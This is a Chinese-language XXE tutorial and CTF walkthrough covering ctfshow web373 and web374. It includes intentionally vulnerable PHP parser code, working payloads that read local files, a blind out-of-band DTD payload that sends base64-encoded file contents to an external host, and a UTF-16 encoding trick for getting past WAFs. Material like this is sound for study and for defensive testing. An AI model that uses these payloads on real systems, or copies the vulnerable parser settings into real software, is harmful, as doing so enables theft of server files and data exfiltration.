前言
XXE(XML External Entity)攻击是一种针对应用程序的攻击,它利用了XML解析器的漏洞,通过注入恶意XML实体来实现攻击目的
全称是XML外部实体注入
XML基础
XML 指可扩展标记语言(eXtensible Markup Language)。
与HTML有点类似,但是XML 被设计用来传输和存储数据,不用于表现和展示数据,HTML 则用来表现数据。
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的
DTD例:
<?xml version="1.0"?> <!--这一行是XML文档定义-->
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容)
例:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
<creds>
<user>&xxe;</user> <!--引用xxe实体-->
<pass>mypass</pass>
</creds>
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。
PHP解析xml
<?php
libxml_disable_entity_loader(false); // 启用外部实体加载器
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
利用可能
普通的xml注入
类似sql注入,都是闭合前面的语句另起一段新语句
有回显的xxe文件读取
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user> <!--外部引用xxe实体-->
<pass>mypass</pass>
</creds>
这段代码从外部的dtd文件引用了实体,于是称为外部实体
这样对引用资源所做的任何更改都会在文档中自动更新
还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用
实际上,在上面那段代码中,既然能读 dtd 那我们是不是能将路径换一换,换成敏感文件的路径,然后把敏感文件读出来?
结合前面的php解析xml脚本,我们可以post传参以下payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY xxe SYSTEM "file:///flag"> ]>
<aaa>&xxe;</aaa>
这样就能读取到文件了
无回显
只要把php脚本中的输出语句去掉就是无回显了
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
和rce的思路差不多,我们可以进行远程包含DTD实体来带出结果
在自己的vps上准备一个test.dtd文件,内容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://76135132qk.imdo.co:57746?p=%file;'>">
然后nc监听对应端口(我这里是内网穿透,监听的是内网的映射端口)
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://76135132qk.imdo.co/test.dtd">
%remote;%int;%send;
]>
过滤绕过
编码绕过
参考[CSAWQual 2019]Unagi
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
linux环境下转换字符集
iconv -f UTF-8 -t UTF-16BE 1.xml > 2.xml
实战
ctfshow web373
进入题目看到源码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
首先通过libxml_disable_entity_loader(false)
函数,启用XML解析器的外部实体加载功能,允许XML文件中的外部实体被解析和使用
然后这里用到了php://input
伪协议,那我们等会传参的时候就是要通过post传入代码执行
接着使用DOMDocument
类和simplexml_import_dom
函数,将XML文件解析为DOM对象,并将其转换为SimpleXMLElement对象以便于处理。在解析XML文件时,使用了LIBXML_NOENT
和LIBXML_DTDLOAD
选项,允许加载实体和DTD(文档类型定义)
从SimpleXMLElement对象中提取ctfshow
节点的值,并将其作为响应输出
因为启用了外部实体加载功能,所以可以进行xxe文件读取
猜测flag路径在/flag,直接用bp抓包post传参读取flag
payload:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<test>
<ctfshow>&xxe;</ctfshow>
</test>
ctfshow web374
无回显
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);